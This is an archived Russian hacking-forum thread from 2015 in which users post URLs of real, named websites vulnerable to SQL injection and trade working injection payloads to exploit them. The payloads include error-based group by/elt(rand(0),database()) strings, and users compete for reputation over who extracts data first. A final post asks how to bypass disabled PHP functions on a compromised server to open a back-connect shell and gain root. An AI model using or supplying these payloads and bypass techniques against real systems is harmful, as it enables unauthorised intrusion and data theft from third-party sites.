HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #24001  
Старый 11.01.2015, 16:41
Br@!ns
Guest
Сообщений: n/a
Провел на форуме:
179197

Репутация: 25
По умолчанию

Есть ли тут sql?

Цитата:
Сообщение от None  
http://dev.llli.org/donor/planned_giving.html?m=3
на кавычку реагирует, но ничего дальше сделать не выходит
 
Ответить с цитированием

  #24002  
Старый 11.01.2015, 17:05
Unknown
Guest
Сообщений: n/a
Провел на форуме:
114076

Репутация: 54
По умолчанию

Цитата:
Сообщение от Br@!ns  
Br@!ns said:
Есть ли тут sql?
на кавычку реагирует, но ничего дальше сделать не выходит
Не одними кавычками.

Нет, параметр вообще не динамический.
 
Ответить с цитированием

  #24003  
Старый 11.01.2015, 18:09
DezMond™
Участник форума
Регистрация: 10.01.2008
Сообщений: 199
Провел на форуме:
961428

Репутация: 662
Отправить сообщение для DezMond™ с помощью ICQ
По умолчанию

кто дотянет?)

http://www.worldwaterforum6.org/en/library/?no_cache=1&x_amswwfbd_pi1_list[evenements][564][uid]=564&tx_amswwfbd_pi1_list[evenements]=1

еррор басе в 1
 
Ответить с цитированием

  #24004  
Старый 12.01.2015, 16:35
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435

Репутация: 1013
По умолчанию

Цитата:
Сообщение от DezMond™  
DezMond™ said:
кто дотянет?)
http://www.worldwaterforum6.org/en/library/?no_cache=1&x_amswwfbd_pi1_list[evenements][564][uid]=564&tx_amswwfbd_pi1_list[evenements]=1
еррор басе в 1
SQLi в string плюс mq = on. поищите в другом месте
 
Ответить с цитированием

  #24005  
Старый 12.01.2015, 23:01
DezMond™
Участник форума
Регистрация: 10.01.2008
Сообщений: 199
Провел на форуме:
961428

Репутация: 662
Отправить сообщение для DezMond™ с помощью ICQ
По умолчанию

Цитата:
Сообщение от faza02  
faza02 said:
SQLi в string плюс mq = on. поищите в другом месте
раскрутил сам) решил не удалял, чтоб потренились)

и чтот-то в string?)
 
Ответить с цитированием

  #24006  
Старый 13.01.2015, 02:32
Br@!ns
Guest
Сообщений: n/a
Провел на форуме:
179197

Репутация: 25
По умолчанию

Цитата:
Сообщение от None  
https://store.tonibrattin.com/list.php?catid=7'&secid=&keyword=67&sort=ItemPrice '
Можно что нибудь сделать?
 
Ответить с цитированием

  #24007  
Старый 13.01.2015, 17:11
vikler
Guest
Сообщений: n/a
Провел на форуме:
36068

Репутация: 0
По умолчанию

Код:
Code:
http://le-studio.ch/photographers/index.php?aid=22'
помогите раскрутить
 
Ответить с цитированием

  #24008  
Старый 13.01.2015, 17:54
YaBtr
Guest
Сообщений: n/a
Провел на форуме:
132418

Репутация: 652
По умолчанию

Цитата:
Сообщение от vikler  
vikler said:
Код:
Code:
http://le-studio.ch/photographers/index.php?aid=22'
помогите раскрутить
Цитата:
Сообщение от None  
?aid=(22)and(1>1)--
Кто первым добивается вывода, получает '+'.
 
Ответить с цитированием

  #24009  
Старый 13.01.2015, 21:04
Br@!ns
Guest
Сообщений: n/a
Провел на форуме:
179197

Репутация: 25
По умолчанию

Цитата:
Сообщение от YaBtr  
YaBtr said:
Кто первым добивается вывода, получает '
+
'.
Цитата:
Сообщение от None  
http://le-studio.ch/photographers/index.php?aid=22/**/group/**/by/**/elt(rand(0),database())having/**/sum(0)
http://clip2net.com/s/3ao8WVf

http://clip2net.com/s/3ao93wA
 
Ответить с цитированием

  #24010  
Старый 15.01.2015, 05:37
.:[melkiy]:.
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
Провел на форуме:
5290740

Репутация: 912
По умолчанию

uname -a

Код:
Code:
Linux x.com 2.6.18-308.el5.028stab099.3 #1 SMP Wed Mar 7 15:56:00 MSK 2012 x86_64
хочу порутать, но проблема в том, что не могу сделать бэк-коннект из-за отключенных системных функций

Код:
Code:
Disabled PHP Functions: dl , exec , passthru , pcntl_exec , pfsockopen , popen , posix_kill , posix_mkfifo , posix_setuid , proc_close , proc_open , proc_terminate , shell_exec , system , leak , posix_setpgid , posix_setsid , proc_get_status , proc_nice , show_source , escapeshellcmd
php 5.3.3

подскажите как можно это обойти и сделать бэк-коннект или хотя бы бинд порта.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ